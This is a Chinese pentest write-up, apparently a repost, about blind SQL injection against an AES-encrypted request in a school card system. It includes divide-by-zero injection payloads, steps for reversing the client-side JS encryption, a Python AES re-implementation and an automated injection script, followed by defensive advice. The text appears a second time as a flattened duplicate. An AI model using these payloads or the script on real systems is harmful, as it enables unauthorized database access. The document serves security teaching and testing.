js逆向 | AES加密下的SQL注入
字数 1112 2025-08-29 08:30:18

AES加密下的SQL注入分析与利用

一、案例背景

这是一个关于某校一卡通系统"丢卡查询"功能点的安全测试案例。测试人员发现该系统存在SQL注入漏洞,但请求数据经过了AES加密,需要通过JavaScript逆向分析来构造有效的攻击载荷。

二、漏洞发现过程

1. 初步测试

  • 测试人员使用甲方提供的账号密码登录系统
  • 访问"丢卡查询"功能点
  • 尝试输入单引号(')进行测试
    • 单引号输入后出现报错
    • 两个单引号('')输入后无报错
  • 初步判断存在SQL注入漏洞

2. 请求分析

  • 抓包发现请求数据被加密
  • 请求路径为xxxx/InvokFront
  • 数据以加密形式传输,无法直接修改SQL语句

三、特征盲注技术

尽管请求被加密,测试人员发现可以利用报错特征进行盲注:

1. 闭合方式确认

  • 构造payload: 1'and 1=1/1 and'1'='1 → 正常无报错
  • 构造payload: 1'and 1=1/0 and'1'='1 → 报错
  • 确认是单引号闭合的SQL注入

2. 报错原理

  • 利用某些数据库(如Oracle)中0不能作为分母的特性
  • 通过除法运算触发条件性报错

3. 盲注示例

  • 获取用户名长度:
    1'and 1=1/(n-length(user)) and'1'='1
    
    • 通过调整n的值(从1到10)直到报错,确定用户名长度
    • 案例中确定用户名为6个字符

四、JavaScript逆向分析

为了构造有效的加密payload,需要进行JS逆向:

1. 定位加密函数

  1. 使用浏览器开发者工具
  2. 在Sources -> XHR/fetch Breakpoints中设置断点
  3. 触发请求后查看调用栈

2. 分析加密过程

  1. 搜索关键词"123456"在JS文件中的处理
  2. 跟踪数据从明文到密文的转换过程
  3. 确认使用的是AES加密算法

3. 提取加密参数

需要获取以下关键信息:

  • 加密密钥(Key)
  • 初始化向量(IV)
  • 加密模式(如CBC、ECB等)
  • 填充方式(如PKCS7)

五、自动化攻击实现

1. 加密函数重现

使用Python重现JavaScript中的加密逻辑:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

def encrypt_aes(plaintext, key, iv):
    cipher = AES.new(key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8'))
    padded_data = pad(plaintext.encode('utf-8'), AES.block_size)
    encrypted = cipher.encrypt(padded_data)
    return base64.b64encode(encrypted).decode('utf-8')

2. 自动化注入脚本

结合加密和SQL注入:

import requests

def sql_injection(payload):
    # 1. 构造SQL注入语句
    sql = f"1'and 1=1/({payload}) and'1'='1"
    
    # 2. 加密
    encrypted = encrypt_aes(sql, "密钥", "IV")
    
    # 3. 发送请求
    data = {"data": encrypted}
    response = requests.post("xxxx/InvokFront", data=data)
    
    # 4. 判断结果
    return "报错特征" in response.text

六、防御建议

1. 针对开发人员

  1. 使用参数化查询或预编译语句
  2. 实施最小权限原则
  3. 输入验证和过滤

2. 针对加密传输

  1. 不要依赖客户端加密作为安全措施
  2. 实施服务端输入验证
  3. 使用HTTPS保护传输过程

3. 其他措施

  1. 实施WAF防护
  2. 定期安全测试
  3. 错误信息处理

七、总结

本案例展示了即使在请求加密的情况下,SQL注入漏洞仍然可能被利用。关键在于:

  1. 识别报错特征进行盲注
  2. 逆向分析客户端加密逻辑
  3. 重现加密过程构造有效payload

这强调了安全防御需要多层次、全方位的考虑,不能仅依赖单一的安全措施。

AES加密下的SQL注入分析与利用 一、案例背景 这是一个关于某校一卡通系统"丢卡查询"功能点的安全测试案例。测试人员发现该系统存在SQL注入漏洞,但请求数据经过了AES加密,需要通过JavaScript逆向分析来构造有效的攻击载荷。 二、漏洞发现过程 1. 初步测试 测试人员使用甲方提供的账号密码登录系统 访问"丢卡查询"功能点 尝试输入单引号( ' )进行测试 单引号输入后出现报错 两个单引号( '' )输入后无报错 初步判断存在SQL注入漏洞 2. 请求分析 抓包发现请求数据被加密 请求路径为 xxxx/InvokFront 数据以加密形式传输,无法直接修改SQL语句 三、特征盲注技术 尽管请求被加密,测试人员发现可以利用报错特征进行盲注: 1. 闭合方式确认 构造payload: 1'and 1=1/1 and'1'='1 → 正常无报错 构造payload: 1'and 1=1/0 and'1'='1 → 报错 确认是单引号闭合的SQL注入 2. 报错原理 利用某些数据库(如Oracle)中0不能作为分母的特性 通过除法运算触发条件性报错 3. 盲注示例 获取用户名长度: 通过调整n的值(从1到10)直到报错,确定用户名长度 案例中确定用户名为6个字符 四、JavaScript逆向分析 为了构造有效的加密payload,需要进行JS逆向: 1. 定位加密函数 使用浏览器开发者工具 在Sources -> XHR/fetch Breakpoints中设置断点 触发请求后查看调用栈 2. 分析加密过程 搜索关键词"123456"在JS文件中的处理 跟踪数据从明文到密文的转换过程 确认使用的是AES加密算法 3. 提取加密参数 需要获取以下关键信息: 加密密钥(Key) 初始化向量(IV) 加密模式(如CBC、ECB等) 填充方式(如PKCS7) 五、自动化攻击实现 1. 加密函数重现 使用Python重现JavaScript中的加密逻辑: 2. 自动化注入脚本 结合加密和SQL注入: 六、防御建议 1. 针对开发人员 使用参数化查询或预编译语句 实施最小权限原则 输入验证和过滤 2. 针对加密传输 不要依赖客户端加密作为安全措施 实施服务端输入验证 使用HTTPS保护传输过程 3. 其他措施 实施WAF防护 定期安全测试 错误信息处理 七、总结 本案例展示了即使在请求加密的情况下,SQL注入漏洞仍然可能被利用。关键在于: 识别报错特征进行盲注 逆向分析客户端加密逻辑 重现加密过程构造有效payload 这强调了安全防御需要多层次、全方位的考虑,不能仅依赖单一的安全措施。